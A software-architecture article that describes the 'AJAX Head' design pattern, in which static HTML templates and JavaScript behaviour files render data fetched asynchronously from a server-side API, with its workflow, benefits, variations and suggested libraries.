Web Applications, like many enterprise applications, are composed of several layers of data processing in order to properly and meaningfully decompose the problem set into encapsulated components.These components are constructed in a fashion that they can be used by any layer above them without knowing the details of layers below them. This creates a contract between the consuming layer and the providing layer regarding the expectation details and not the implementation details. In web applications, the concept of layering commonly stops being applied after the Service Layer \[Staffor, PEAA\] and utilizes a mixture of embedded behavior, data, and structure that is rendered out to a specific interface format.
The AJAX Head pattern provides a thoughtful approach of how to maintain separation of behavior, data, and structure by extending the concept of layering into the user interface component. Furthermore, the AJAX Head pattern describes an implementation pattern that drastically modifies common web client-server interactions in order to bring them more closely in line with enterprise client-server interactions. This pattern relies heavily on the separation and isolation of responsibilities between components which yields better encapsulation and testability of each component.
### How It Works
The AJAX Head Design Pattern can be implemented with any combination of server programming languages and client side languages, but does require that an Asynchronous JavaScript And XML connection can be established between the two endpoints (client->server). The basis of the pattern rests on the following key components:
1. Statically defined HTML files that include single instance “templates” with sample data for all areas of the user interface that are meant to be dynamic. These HTML files should be descriptive of their intention through the use of proper and meaningful tags, identification, and classing derived from the specific domain. This layer is responsible for describing the structure and indicating the intention of the requestor. It provides “templates” for how the fulfillment of those intentions should be represented in order to be meaningful.
2. Statically defined JavaScript files that include behavior definitions of the HTML pages as well as the ability to query and parse the data feeds provided by the server. This layer is responsible for detecting the requested intention, describing the intention to the Service Layer, and applying the response to the defined structure.
3. A server side application programming interface (API) that can handle web service requests (XML-RPC, REST, SOAP, etc.) and produce standardized data responses appropriate for the request. The responses need to be in a format that is uniform across the API and retains the structure and composition of the data. Recommendations for this include JavaScript Object Notation (JSON), XML, or CSV. This layer is commonly referred to as the aforementioned Service Layer and is responsible for appropriate calling sub layers and performing any necessary processing in order to fulfill the intention.
With these components the following workflow defines the process of rendering a single page:
1. The browser requests a web page.
2. The server returns the static HTML page appropriate to the request.
3. The browser parses the HTML page and requests the necessary and appropriate JavaScript behavior definitions described by the HTML page.
4. Once interpreted by the browser, the JavaScript behaviors will query the server using AJAX for the appropriate data elements. These AJAX requests will be fulfilled with the defined data format based on the request.
5. The behavior definitions will parse the data feed and render the elements into the HTML structure based on the provided single item templates. If there are no items, the template is removed.
6. Interaction and behavior updates are applied to the new data elements as described in the behavior definitions.
**Differences From Other Patterns** This differs tremendously from the embedded template pattern currently employed in most web application frameworks because it pushes all of the rendering down to the client system, distributing the load and strain on the server across the interacting components. This pattern leverages the prevalence and availability of network connectivity with the server to reverse the presentation work flow from render and serve to serve and render. This key difference allows for a natural separation and encapsulation between the components of the presentation system. It normalizes the user interface into an interaction interface through a standard API, thus enforcing and encouraging web service style development with true abstraction between the layers.
**Results** A result of this separation is that all of the presentation components can be thoroughly tested in isolation and with automation. This is important because it not only facilitates isolated testing, but specifica and appropriate creation as well. It allows developers to develop the functional code, designers to design and construct the front end user interface components, and a intermediary programmer/designer to wire the two layers together without affecting or influencing the creation of either. Since this design pattern abstracts the structure, behavior, and functional components from one another without a blending of components as occurs with embedded templates, the removal, replacement, or modification of one component does not adversely or greatly affect the others. If a backend is replaced with a different backend, it does not require a new user interface to be rewritten. If a new JavaScript libraries is chosen or replaced with a competitive technology (Flash, SilverLight, etc.) it does not require a modification of any other element. Finally, the changes in the HTML structure only need to be known and, if necessary, handled by the layer that interacts with it directly, so replacing it is as easy as the other two.
**Implementation Variations** As identified in the Ken Collins article, there is one variation of this pattern that requires the service layer to respond to requests with either an error explanation or a success, which in his case was a “200 OK” HTTP response. Another, more verbose implementation variation leaves the response content open to the API definition, since there are possible actions or calls that might change the state or attributes of an object beyond the appropriate knowledge of a behavior/requestor. The latter of these variations is recommended by the author.
**Advanced Implementation Details** Advanced details of this pattern can be applied iteratively over time and need not be implemented or provided all at once. These details are not necessary for all implementations, but are provided here for use in certain cases.
- The AJAX requests can be sent over multiple sub-domain names providing multiplexed requests for data. This provides substantial improvements in performance since the requests will be parallelized in the request, response, and rendering process.
- Since all initiating components of the interaction sequence are statically defined and hold no sensitive data, they can be delivered not just by the server, but through a Content Distribution Network (CDN) for fast, highly distributed, and localized provision of the components.
### When to Use It
This design pattern can be used for any web application, even those requiring authentication or privileged access because the static HTML pages, which are publicly available, provide no “domain specific” data, only structure and style. All access is controlled and negotiated between the behavior and the controller layers. This pattern works sufficiently well for nearly all web applications and in most circumstances can replace all embedded templates in an application. It can also be intermingled with embedded templates since the pattern does not require complete and holistic application in order to obtain the benefits.
### Further Reading
There is little prior art for this design pattern, though many JavaScript libraries have begun to head in this direction. I recommend reviewing the following libraries/frameworks that assist with the implementation of this design pattern:
- [BeeBole Pure](http://beebole.com/blog/2008/10/02/our-javascript-template-pure-becomes-cross-library/?ref=voodootikigod.com) - a Fast JavaScript Rendering Library.
- [Chain.js](http://github.com/raid-ox/chain.js/wikis?ref=voodootikigod.com) - a jQuery library for data binding the elements of a feed to HTML.
- [Dissident](http://github.com/voodootikigod/dissident/tree?ref=voodootikigod.com) - a framework based in Erlang built from the ground up around the AJAX Head design pattern, this is still under construction by the author.
---